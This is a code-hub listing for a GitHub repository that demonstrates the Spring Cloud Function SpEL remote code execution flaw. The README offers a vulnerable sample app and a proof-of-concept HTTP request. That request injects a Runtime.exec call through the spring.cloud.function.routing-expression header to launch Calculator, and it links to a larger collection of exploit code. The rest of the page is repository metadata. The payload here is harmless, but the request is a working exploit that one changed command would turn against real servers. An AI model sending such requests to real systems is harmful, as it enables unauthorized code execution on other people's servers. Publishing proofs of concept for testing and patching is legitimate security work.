hub / github.com/cckuailong/spring-cloud-function-SpEL-RCE
github.com/cckuailong/spring-cloud-function-SpEL-RCE @v0.0.1
Chat with this repo
28 symbols
39 edges
4 files
3 documented · 11%
● updated 4y ago★ 135
What it actually does AI analysis from the code graph — generated when you open this
loading…
README
spring-cloud-function SpEL RCE
Vultarget
You can build it for youself. here is the source of the Vuln App
Or you can use the release which built by cckuailong(Yh,it's me)
java -jar function-sample-pojo-3.2.1.RELEASE.jar
Poc
POST /xxx HTTP/1.1
Host: test.com:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
xxx
Result
RCE！！
Enjoy it!
I'll put the poc code in the repo:
https://github.com/cckuailong/pocsploit
Core symbols most depended-on inside this repo
uppercasecalled by 1
src/main/java/com/example/SampleApplication.java
lowercase
called by 0
src/main/java/com/example/LowercaseConfiguration.java
main
called by 0
src/main/java/com/example/SampleApplication.java
uppercase
called by 0
src/main/java/com/example/SampleApplication.java
sum
called by 0
src/main/java/com/example/SampleApplication.java
words
called by 0
src/main/java/com/example/SampleApplication.java
Foo
called by 0
src/main/java/com/example/SampleApplication.java
lowercase
called by 0
src/main/java/com/example/SampleApplication.java
Shape
Languages
Java100%
Modules by API surface
src/main/java/com/example/SampleApplication.java15 symbols
src/test/java/com/example/SampleApplicationTests.java9 symbols
src/test/java/com/example/SampleApplicationMvcTests.java2 symbols
src/main/java/com/example/LowercaseConfiguration.java2 symbols
For agents
$ claude mcp add spring-cloud-function-SpEL-RCE \
-- python -m otcore.mcp_server <graph>